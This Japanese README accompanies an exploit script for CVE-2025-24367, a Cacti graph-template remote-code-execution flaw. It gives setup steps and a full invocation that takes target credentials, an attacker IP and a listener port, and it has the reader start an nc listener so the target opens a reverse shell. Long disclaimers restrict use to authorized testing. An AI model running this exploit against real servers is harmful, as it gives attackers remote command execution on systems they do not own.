CVE-2025-24367 - Cacti 認証済みグラフテンプレート RCE

使用方法と安全性

重要 — 最初にお読みください:
このリポジトリおよび exploit.py は教育および研究目的のみで提供されています。明示的な書面による承認を得ていないシステム、ネットワーク、またはサービスに対してこのコードを使用しないでください。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。このコードを使用することにより、適用される法律および組織の方針に従うことに同意したものとみなされます。

要件

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

使用方法

python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

例

スクリプトを実行する前に、nc リスナーが実行中であることを確認してください。デバッグ時以外はプロキシなしでスクリプトを実行してください:

python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

非常に重要な警告

• 本番システム、または所有しておらずテストする明示的な許可を得ていないシステムに対して実行しないでください。
• セキュリティテストを実施する前に、常に書面による承認を取得してください。
• 実験には隔離されたラボ環境（例: VM、コンテナ、専用のテストネットワーク）を使用してください。
• 所属組織には報告および開示に関するポリシーがある場合があります — それらに従ってください。
• 著者はこのコードの誤用について一切の責任を負いません。

最後の注意: このスクリプトと README は教育目的のみを対象としています。これらのツールを不正にシステムへアクセスするために使用しないでください。